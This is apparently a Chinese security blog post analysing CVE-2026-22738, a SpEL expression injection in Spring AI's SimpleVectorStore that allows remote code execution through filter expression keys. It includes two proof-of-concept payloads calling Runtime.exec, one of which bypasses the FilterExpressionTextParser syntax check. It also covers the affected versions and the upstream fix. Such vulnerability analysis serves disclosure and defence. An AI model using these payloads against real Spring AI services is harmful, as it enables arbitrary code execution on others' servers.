RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸
原创 KCyber 2026-04-07 07:02 北京

为更好学习交流,建了个技术交流群,大家可以扫描进群。
欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。

引言
近日 Spring 官方发布安全通告,披露了 Spring AI 框架存在一处高危的 SpEL 表达式注入漏洞 (CVE-2026-22738) 。漏洞源于 SimpleVectorStore 实现向量检索过滤的逻辑中,将用户提供的过滤器表达式拼接到了 SpEL 模板中,并使用 StandardEvaluationContext 进行解析,导致可构造恶意 payload 实现 RCE 。
官方通报中提到了漏洞利用的前提条件:
In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.
影响版本:
•
1.0.x < 1.0.5•
1.1.x < 1.1.4
漏洞分析
SimpleVectorStore 是 Spring AI 提供的一个简单的内存向量数据库实现,它允许用户定义类似 SQL 的过滤条件。具体使用案例可以参考:
https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html
SpEL表达式注入
漏洞触发点位于 SimpleVectorStore#doFilterPredicate 。该函数会将过滤条件直接通过 StandardEvaluationContext 函数进行解析,存在 SpEL 表达式注入风险:

搜索 doFilterPredicate 被调用的点,可以找到 similaritySearch 函数:
SimpleVectorStore.doFilterPredicate(SearchRequest)
SimpleVectorStore.doSimilaritySearch(SearchRequest)
AbstractObservationVectorStore.similaritySearch(SearchRequest)similaritySearch 函数会使用向量数据库的嵌入模型,将查询的问题转换为多维向量。一个典型的 RAG 查询 demo 如下:
@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
Filter.Expression maliciousExpr = new Filter.Expression(
Filter.ExpressionType.EQ,
new Filter.Key(sr.getFilterExpression()),
new Filter.Value("anything")
);
SearchRequest searchRequest = SearchRequest.builder()
.query(sr.getQuery())
.topK(sr.getTopK())
.similarityThreshold(sr.getSimilarityThreshold())
.filterExpression(maliciousExpr)
.build();
List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);Bypass FilterExpressionTextParser
为了进入 StandardEvaluationContext 处理逻辑,传递过来的 filterExpression 需要非空,格式如下:
/**
* Triple that represents and filter boolean expression as
* <code>left type right</code>.
*
* @param type Specify the expression type.
* @param left For comparison and inclusion expression types, the operand must be of
* type {@link Key} and for the AND|OR expression types the left operand must be
* another {@link Expression}.
* @param right For comparison and inclusion expression types, the operand must be of
* type {@link Value} or array of values. For the AND|OR type the right operand must
* be another {@link Expression}.
*/public record Expression(ExpressionType type, Operand left, Operand right) implements Operand {
public Expression(ExpressionType type, Operand operand) {
this(type, operand, null);
}
}filterExpression 对象由 Key 、Type 和 Value 组成。同时注意存在 FilterExpressionTextParser 过滤检查:

convertExpression 将 filter.ExpressionAST 递归遍历,其中 doKey 将 Key 无任何转义拼接到 #metadata 模板:

doValue 通过 emitSpelString 对 Value 中单引号、反斜杠等进行了转义,并且格式化为了日期格式:



Value 难以直接利用,但可以将 SpEL 载荷放到 Key 中来完成注入,这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE :
'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) + #metadata['x

Bypass FilterExpressionTextParser
此外,filterExpression 还支持纯字符串进行实例化:
public Builder filterExpression(@Nullable String textExpression) {
this.searchRequest.filterExpression = (textExpression != null)
? new FilterExpressionTextParser().parse(textExpression) : null;
return this;
}但是如果使用字符串形式的过滤器,Spring AI 会调用 FilterExpressionTextParser 进行格式处理。这里存在空值检查,并会自动加入 WHERE 前缀,更关键还会进行 ANTLR4 校验:

修改 demo 如下:
@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
// Filter.Expression maliciousExpr = new Filter.Expression( // Filter.ExpressionType.EQ,
// new Filter.Key(sr.getFilterExpression()), // new Filter.Value("anything")
// ); SearchRequest searchRequest = SearchRequest.builder()
.query(sr.getQuery())
.topK(sr.getTopK())
.similarityThreshold(sr.getSimilarityThreshold())
.filterExpression(sr.getFilterExpression()) //字符串实例化
.build();
List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);常规的 SpEL 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL 改造成合法的 Key 。
•
FilterExpressionTextParser将双引号内的字符串作为Key,符合语法校验;•
SimpleVectorStore处理AST时,会直接取出引号内的内容进行拼接。
绕过检查的 payload 如下:
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" == 'anything'
修复方式
commit 记录:
https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29
没有采用常见的修复方式:将 StandardEvaluationContext 换成 SimpleEvaluationContext ,而是彻底移除 SpEL ,改用自定义 AST 遍历器直接求值。
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。
